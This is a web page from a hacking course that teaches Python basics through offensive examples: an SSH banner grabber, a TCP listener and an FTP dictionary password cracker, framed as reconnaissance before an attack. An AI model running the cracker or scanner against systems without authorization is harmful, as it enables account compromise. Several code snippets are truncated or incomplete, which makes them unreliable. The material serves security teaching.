Python Guide - Cybersecurity and Kali Linux Courses
Python Guide - Cybersecurity and Kali Linux Courses
Basic scripting skills are fundamental for anyone aspiring to become a master hacker. Without a foundation in scripting, a
beginner hacker who relies solely on tools created by others may remain in the realm of script kiddies. This would limit their
capabilities to using pre-made tools, reducing their chances of success and increasing the risk of detection by antivirus (AV)
software, intrusion detection systems (IDSs), and law enforcement. Developing scripting skills is your ticket to elevating
yourself to the ranks of master hackers.
In Chapter 8, we delved into bash scripting basics and created some simple scripts, including MySQLScanner.sh , which
identifies systems running the widely-used MySQL database system. In this chapter, we embark on the exploration of Python,
the scripting language most favored by hackers. Python is the language behind many popular hacker tools, such as sqlmap,
Scapy, the Social-Engineer Toolkit (SET), w3af, and numerous others.
Python boasts several key features that make it particularly well-suited for hacking. Most notably, it offers an extensive
collection of libraries—prebuilt modules of code that can be imported and reused. Python comes bundled with over 1,000
built-in modules, and countless more are available from various repositories.
While it’s possible to build hacking tools in other languages like bash, Perl, and Ruby, Python’s wealth of modules makes tool
development considerably more straightforward.
Despite the comprehensive functionality offered by these standard libraries and modules, you may find the need for
additional third-party modules. Python’s extensive collection of third-party modules is a major reason why most hackers prefer
it for scripting. You can find a comprehensive list of these modules on the Python Package Index (PyPI), accessible at PyPI.
Module Installation with pip
Python provides a dedicated package manager, p ip (Pip Installs Packages), for installing and managing Python packages.
Since we are working with Python 3 here, you will need pip for Python 3 to download and install packages. You can install
pip from the Kali repository using the following command:
Once pip is installed, you can easily download modules from PyPI using this command:
When you download packages using pip , they are automatically placed in the /usr/local/lib/<python-version>/dist-packages
directory. For example, if you used pip to install the Python implementation of the SNMP protocol for Python 3.12, you would
find it at /usr/local/lib/python3.12/dist-packages/pysnmp . If you’re unsure about the location of a package on your system (as
different Linux distributions may use different directories), you can use the following command to check:
This command provides detailed information about the package, including its location.
As an alternative to using pip , you can download a package directly from the website (ensure it’s downloaded to the correct
directory), unpack it, and then run the following command to install it:
This will install any unpacked packages that haven’t been installed yet.
running install
running build
running build_py
creating build
running install_egg_info
writing /usr/local/lib/python3.12/dist-packages/python_nmap-0.3.4.egg-info
This series of commands fetches, extracts, and installs the module. Numerous other modules can also be acquired in a similar
manner. Once the “nmap” module is installed, you can import and use it in your Python scripts, as we’ll explore further.
Similar to bash or other scripting languages, you can craft Python scripts using any text editor. For simplicity in this chapter, I
recommend using a basic text editor like Leafpad. However, note that Python supports various integrated development
environments (IDEs) offering features such as syntax highlighting, debugging, and compiling. Kali includes the PyCrust IDE, but
you can explore other options, with JetBrains’ PyCharm being a top choice. PyCharm offers a professional version for purchase
and a free community edition, both available at PyCharm.
Once we’ve covered the essentials in this chapter, PyCharm can be an invaluable tool for your Python journey. For now, let’s
stick to a basic text editor like Leafpad to keep things straightforward.
It’s crucial to recognize that mastering any programming language requires time and effort. Be patient and aim to comprehend
each small script provided before progressing.
Formatting in Python
One notable distinction between Python and some other scripting languages is the critical importance of formatting. Python
relies on formatting to discern how code is organized and grouped. While the specifics of formatting are less critical than
consistency, maintaining consistent indentation levels is paramount.
For instance, if you begin a block of code with double indentation, ensure that the entire block maintains double indentation.
Python relies on this consistency to recognize code lines that belong together. This contrasts with scripting in some other
languages where formatting is optional and considered a best practice rather than a requirement. As you practice and work
through examples, remember this formatting requirement—it’s a fundamental aspect of Python.
Working with Variables
Let’s dive into more practical concepts in Python. A variable, which you encountered earlier in Chapter 8 with bash scripting, is
one of the fundamental data types in programming. In simple terms, a variable is a name linked to a specific value. When you
use this name in your program, it invokes the associated value.
Here’s how it works: the variable name points to data stored in a memory location, which can contain various types of values
like integers, real numbers, strings, floating-point numbers, Booleans (true or false statements), lists, or dictionaries. We’ll
briefly explore each of these data types in this chapter.
To get started, let’s create a simple script, as shown in Code 17-1, using Leafpad and save it as SecurityAiLab_greetings.py .
#!/usr/bin/python3
name = "SecurityAiLab"
print("Greetings to " + name + " from SecurityAiLab. The Best Place to Learn Hacking!")
The first line informs your system that you want to use the Python interpreter to run this program. The second line defines a
variable called name and assigns a value to it, which in this case is “SecurityAiLab.” Feel free to change this value to your own
name. The variable holds this value as a string, enclosed in quotation marks.
The third line utilizes a print() statement to concatenate “Greetings to” with the value in the name variable, followed by the
text “from SecurityAiLab. The Best Place to Learn Hacking!” The print() statement displays the content within the parentheses
on your screen.
Before running this script, you need to grant execution permission using the chmod command, just as you did in Chapter 8
with bash scripting. Since your current directory is not in the $PATH variable for security reasons, you need to precede the
script name with ./ to instruct the system to look in the current directory for the filename and execute it. Here’s the command
to do that:
reetings.py
Running the script results in the output: “Greetings to SecurityAiLab from SecurityAiLab. The Best Place to Learn Hacking!”
In Python, each variable type is treated as a class, serving as a template for creating objects. We’ll explore various variable
types in the following script (Code 17-2) that contains different data types:
#!/usr/bin/python3
SecurityAiLabStringVariable = "SecurityAiLab Is the Best Place to Learn Hacking"
SecurityAiLabIntegerVariable = 12
SecurityAiLabFloatingPointVariable = 3.1415
SecurityAiLabList = [1, 2, 3, 4, 5, 6]
SecurityAiLabDictionary = {'name': 'SecurityAiLab', 'value': 27}
print(SecurityAiLabStringVariable)
print(SecurityAiLabIntegerVariable)
print(SecurityAiLabFloatingPointVariable)
This script creates five variables, each containing different data types: a string (text), an integer (a number without decimals), a
float (a number with decimals), a list (a series of values), and a dictionary (a set of data with unique keys). We’ll delve deeper
into lists and dictionaries later in the chapter.
Create this script in any text editor, save it as secondpythonscript.py , and grant execution permission:
When you run this script, it will print the values of the string variable, integer variable, and floating-point number variable.
Comments in Python
Python allows you to add comments to your code, which are essential for explaining its purpose and logic. Comments are
ignored by the interpreter and serve as documentation for yourself and other programmers who may read your code in the
future.
Comments are not mandatory but highly beneficial for understanding your code, especially when you revisit it after some
time. You can add single-line comments using the # symbol or write multiline comments enclosed in triple double-quotation
marks ( """ ).
Here’s an example of a script (Code 17-1) with a short multiline comment added:
#!/usr/bin/python3
"""
This is my first Python script with comments. Comments are used to help explain code
to ourselves and fellow programmers. In this case, this simple script creates a greeting
for the user.
"""
name = "SecurityAiLab"
print("Greetings to " + name + " from SecurityAiLab. The Best Place to Learn Hacking!")
When you execute this script, it behaves the same as before, but now you have informative comments to understand its
purpose when you revisit it later.
Python Functions
Functions in Python are blocks of code designed to perform specific actions. For instance, the print() statement, as you’ve
used earlier, is a function responsible for displaying values you provide as arguments. Python offers a plethora of built-in
functions that you can readily import and utilize. Most of these functions come with your default Python installation on Kali
Linux, but you can access even more by adding downloadable libraries. Let’s explore a few of the many functions at your
disposal:
Additionally, Python allows you to create your own custom functions to execute specific tasks. With the wealth of built-in
functions available, it’s advisable to check if a function already exists before investing time in building it yourself. There are
various ways to perform this check, such as referring to the official Python documentation at Python Docs. Select the version
you’re working with and navigate to the Library Reference.
Understanding Lists
In many programming languages, arrays serve as a means to store multiple discrete objects. An array is essentially a list of
values that can be accessed, modified, replaced, or manipulated in various ways by referencing a value’s position, known as its
index, within the list. It’s important to note that Python, like many other programming environments, starts counting indexes
at 0. Thus, the first element in a list is at index 0, the second at index 1, the third at index 2, and so forth. For example, to
access the third value in an array, you would use array[2] . Python offers several implementations of arrays, with lists being
one of the most common.
Lists in Python are iterable, meaning you can access elements sequentially. This is particularly useful since you often need to
search for values, print them one by one, or transfer values from one list to another. For instance, let’s say we want to display
the fourth element in our list SecurityAiLabList from “Code 17-2.” You can achieve this by calling the list’s name followed by
the index of the desired element enclosed in square brackets.
To test this, add the following line to the end of your secondpythonscript.py script to print the element at index 3 in
SecurityAiLabList :
print(SecurityAiLabList[3])
When you run the script, you’ll observe that the new print statement outputs “4” alongside the other results.
Modules in Python
A module is essentially a segment of code stored in a separate file for reusable use within your program. Importing a module
is necessary if you wish to use it or its code. As discussed earlier, Python’s ability to utilize standard and third-party modules is
one of the reasons it’s such a powerful tool for hackers. For example, if we want to utilize the nmap module installed earlier,
we simply include the following line in our script:
import nmap
Later in this chapter, we will explore two valuable modules: socket and ftplib . These modules extend Python’s capabilities,
making it an indispensable asset for hacking tasks.
The essence of OOP-based languages is to model objects that mimic real-world entities. For instance, consider a car as an
object with properties like wheels, color, size, and engine type, alongside methods like acceleration and door locking. In human
language terms, an object corresponds to a noun, a property to an adjective, and a method to a verb.
Objects belong to classes, which function as templates for creating objects with shared initial variables, properties, and
methods. For example, a class named “cars” can include various car objects, such as BMW, Mercedes, and Audi.
Classes can also have subclasses. For instance, the “car” class may have a subclass for BMW, and within that subclass, we
might have an object representing the model “320i.”
Each object within this framework possesses properties (e.g., make, model, year, color) and methods (e.g., start, drive, park).
In OOP languages, objects inherit characteristics from their class. For example, a BMW 320i object inherits the “start,” “drive,”
and “park” methods from the “car” class. These OOP concepts are foundational to understanding Python and other OOP
languages, as we’ll see in the scripts ahead.
#!/usr/bin/python3
import socket
s = socket.socket()
s.connect(("157.147.165.59", 22))
answer = s.recv(1024)
print(answer)
s.close()
First, we import the socket module to access networking functions and tools. We’ll use this module to facilitate network
communication.
Next, we create a variable s associated with the socket class, allowing us to utilize the class’s functions without repetitive
syntax.
We then employ the connect() method to establish a network connection to a specific IP address and port. In this script, we
connect to IP address “157.147.165.59” (a machine on the network) on port 22 (the default SSH port).
After establishing the connection, we use the recv method to read 1024 bytes of data from the socket, storing it in the
answer variable. These bytes typically contain the banner information. We subsequently print the contents of answer to the
screen, enabling us to inspect the
Save this script as SecurityAiLabSSHBannerGrab.py , adjust its permissions using chmod for execution, and run it. You can
use it to connect to another Linux system on port 22 and retrieve the banner, which reveals crucial information about the
application, version, and operating system running at that IP address and port.
This banner-grabbing script provides valuable insights for a hacker before launching an attack, akin to the functionality offered
by the website Shodan.io, which catalogs and indexes such information for IP addresses worldwide.
The Python script in Code 17-4 outlines the creation of a socket on any available port of your system. When someone connects
to this socket, it gathers crucial information about the connecting system. Save this script as tcp_server.py and ensure it has
execute permissions using the chmod command.
#!/usr/bin/python3
import socket
# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Accept a connection
conn, addr = s.accept()
print('Connection address: ', addr)
while True:
data = conn.recv(BUFFER_SIZE)
if not data:
break
print("Received data: ", data)
conn.send(data) # echo back the data
conn.close()
In this script:
We declare the script’s interpreter and import the socket module for utilizing its functionalities.
Variables are defined to hold information about the TCP/IP address, the port to listen on, and the buffer size for
capturing data from the connecting system.
We create a socket and bind it to the specified IP address and port.
The listen() method is used to instruct the socket to listen for incoming connections.
We capture the IP address and port of the connecting system using the accept() method and display this information.
A while loop is employed to continuously check for incoming data from the connected system and echo it back.
The script effectively creates a TCP listener.
To test the TCP listener, go to another computer on your network and use a web browser to connect to the port (6996)
designated in the script. Run the tcp_server.py script, and you should be able to establish a connection and collect key
information about the connecting system, including its IP address and port.
This information gathering is essential for hackers to assess potential vulnerabilities and exploits. Exploits are highly specific to
the target’s operating system, applications, and even programming language, making it crucial to gather as much data as
possible before proceeding. This preliminary information-gathering phase is often referred to as reconnaissance, a critical step
in hacking.
Congratulations, you’ve developed a tool that can collect essential reconnaissance data about potential targets, similar to the
widely-used hacker tool “p0F.”
Dictionaries are iterable, which means you can use control structures like for statements to iterate through the entire
dictionary, assigning each element to a variable until you reach the end.
For instance, dictionaries can be valuable in building a password cracker that iterates through a list of passwords stored in a
dictionary until a successful match is found.
Dictionaries are enclosed in curly brackets, and key-value pairs are separated by commas. You can include as many key-value
pairs as needed.
Control Statements
Control statements in Python allow your code to make decisions based on specified conditions. Python offers various ways to
control the flow of your script. Let’s explore some of these control structures.
The if Statement
The if structure in Python, similar to many other programming languages like bash, is used to evaluate whether a condition is
true or false and execute different sets of code accordingly. The syntax is as follows:
if conditional_expression:
# Code to execute if the expression is true
The if statement includes a condition, such as if variable < 10 . If the condition is met and evaluates to true, the code within
the indented control block is executed. If the condition is false, the statements within the control block are skipped.
In Python, it’s crucial to maintain proper indentation for the control block. Indentation is how Python identifies the code within
the if statement. Statements that are not indented belong outside the control block and are not part of the if statement.
if conditional_expression:
# Execute this code when the condition is met
else:
# Execute this code when the condition is not met
Just as before, the interpreter starts by evaluating the condition in the if expression. If the condition is true, the interpreter
proceeds to execute the statements within the control block under the if statement. In the case where the conditional
statement evaluates to false, the control block under the else statement is executed instead.
To illustrate, consider this code snippet that examines the value of a user ID. If the ID is 0 (indicating the root user in Linux,
always UID 0), it prints the message “You are the root user.” Otherwise, if the ID has any other value, it prints “You are NOT the
root user.”
if userid == 0:
print("You are the root user")
else:
print("You are NOT the root user")
Loops
Loops are incredibly valuable in Python, enabling the programmer to repetitively execute a code block based on a specific
value or condition. Python offers two primary types of loops: the while loop and the for loop.
The while loop continuously evaluates a Boolean expression (an expression that can only result in true or false) and keeps
executing as long as the expression evaluates to true. For example, you can create a code snippet to print numbers from 1 to
10 and exit the loop when done, like this:
count = 1
The indented control block executes as long as the condition remains true.
The for Loop
The for loop is versatile, allowing you to assign values from a list, string, dictionary, or other iterable structures to an index
variable during each iteration. This permits you to work with each item in the structure sequentially. For instance, you can use
a for loop to attempt various passwords until a match is found, as shown below:
In this code snippet, a for loop iterates through a list of passwords, attempting to connect with a username and password
combination. If the connection attempt yields a “230” code (indicating a successful connection), the program prints “Password
found:” followed by the discovered password and then exits. If the “230” code is not received, the loop continues trying each
remaining password until a successful connection is established or until it exhausts the list of passwords.
In our script, we’ll introduce a list of ports to target for banner grabbing, allowing us to capture banners from multiple ports
and display them. Instead of focusing on a single port, we’ll use a for loop to iterate through the list.
Let’s begin by creating a list of ports and incorporating these changes into our script, SecurityAiLabSSHBannerGrab.py . Below
is the revised code:
#!/usr/bin/python3
import socket
.165.59", Port))
answer = s.recv(1024)
print(answer)
s.close()
In this updated script, we create a list called Ports containing four elements, each representing a port. We then use a for
loop to iterate through the list, as there are four items in the list.
Please note that when using a for loop, the code within the loop must be indented beneath the for statement.
To ensure that we use the correct port on each iteration, we introduce a variable named Port and assign it the value from the
list during each iteration. This variable is used in the connection process.
Upon running this script on a system with all the specified ports open and active, you should see an output similar to the one
shown in “Code 17-6.”
The try block attempts to execute a piece of code, and if an error occurs, the except statement handles that error. In some
cases, we can use the try/except structure for decision-making, similar to an if...else statement. For example, we can employ
try/except in a password cracker to attempt a password, and if an error occurs due to a password mismatch, we proceed to
the next password using the except statement.
Let’s explore this concept by examining the code in “Code 17-7,” which serves as an FTP password cracker script:
#!/usr/bin/python3
import ftplib
try:
with open(Passwordlist, 'r') as pw:
for word in pw:
word = word.strip('\r').strip('\n')
try:
ftp = ftplib.FTP(server)
ftp.login(user, word)
print("Success! The password is '" + word + "'")
break
except ftplib.error_perm:
print('still trying...')
except FileNotFoundError:
print('Wordlist error')
In this script, we utilize the ftplib module to interact with the FTP protocol. Initially, we import the necessary module and
prompt the user to input the FTP server’s IP address and the username for the account they aim to crack.
The script also requests the path to a password list from the user. Various password lists are available in Kali Linux, and the
user can locate them using the locate wordlist command in a terminal.
Next, we initiate a try block to read the password list provided by the user and attempt to crack the password for the
specified username. We use the strip() function to remove any extraneous characters from the passwords in the list to
ensure accurate matching.
Inside a nested try block, we use the ftplib module to establish a connection to the server and attempt to log in with the
provided username and password. If the combination results in an error, the script moves to the except clause, printing “still
trying…” and proceeding to the next password.
If the combination succeeds, the script prints the successful password to the screen. The final lines handle other potential
errors, such as invalid wordlist paths or missing wordlists.
Running this script against an FTP server, you can attempt to crack a password, as demonstrated in the example provided.
Summary
To advance beyond the script-kiddie level, hackers must master a scripting language, and Python is an excellent choice due to
its versatility and relatively gentle learning curve. Many hacking tools, including sqlmap and Scapy, are written in Python. In this
chapter, we’ve covered fundamental Python concepts and used them to create essential hacker tools, including a banner
grabber and an FTP password cracker.
To further your Python knowledge, I recommend “Automate the Boring Stuff with Python” by Al Sweigart, an excellent resource
from No Starch Press.
Practice Tasks
Put your newfound skills to the test with the following exercises from this chapter:
Build the SSH banner-grabbing tool from Code 17-5 and modify it to perform a banner grab on port 21.
Enhance your banner-grabbing tool to prompt the user for the IP address instead of hardcoding it.
Modify your tcp_server.py script to prompt the user for the port to listen on.
Construct the FTP cracker script outlined in Code 17-7 and adapt it to use a wordlist for the “user” variable, similar to
what was done with the password.
Add an exception handling clause to the banner-grabbing tool that prints “no answer” when the port is closed.